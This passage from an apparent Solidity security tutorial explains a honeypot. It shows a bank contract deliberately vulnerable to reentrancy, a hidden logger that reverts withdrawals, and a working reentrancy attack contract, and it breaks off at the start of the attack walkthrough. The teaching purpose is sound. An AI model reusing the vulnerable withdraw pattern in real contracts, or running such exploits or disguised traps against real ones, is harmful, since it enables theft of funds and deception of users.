What is a Honeypot?

A honeypot is a deliberate trap designed to catch hackers by appearing vulnerable while secretly containing mechanisms to prevent the exploit from succeeding. It wastes hackers' time, gas fees, and can even catch them in the act.

The Strategy: Combining Two Exploits

This honeypot combines two vulnerabilities we've learned:

  1. Reentrancy - Appears to be exploitable
  2. Hidden Malicious Code - Secret trap mechanism
HACKER'S VIEW:
"This contract has reentrancy vulnerability! Easy money!" 💰

REALITY:
"It's a trap that will drain YOUR gas fees!" 🪤

The Setup: Three Contracts

1. Bank (The Bait)

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;  // Points to HoneyPot, but hacker thinks it's Logger

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    // ❌ DELIBERATELY VULNERABLE to reentrancy
    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        // Sends ETH before updating balance - classic reentrancy bug!
        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;  // State change after external call

        logger.log(msg.sender, _amount, "Withdraw");  // 🪤 TRAP HERE
    }
}

2. Logger (What Hacker Expects)

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);
        // Simple logging - looks harmless
    }
}

3. HoneyPot (The Hidden Trap)

// ⚠️ This code is hidden from the hacker!
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action) public {
        // 🪤 THE TRAP: Reverts on withdrawals!
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    function equal(string memory _a, string memory _b) public pure returns (bool) {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

The Hacker's Attack

Attack Contract (Reentrancy Exploit)

contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    // Reentrancy callback
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);  // Recursive call
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);  // Start the reentrancy
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attack Flow Step-by-Step

Setup Phase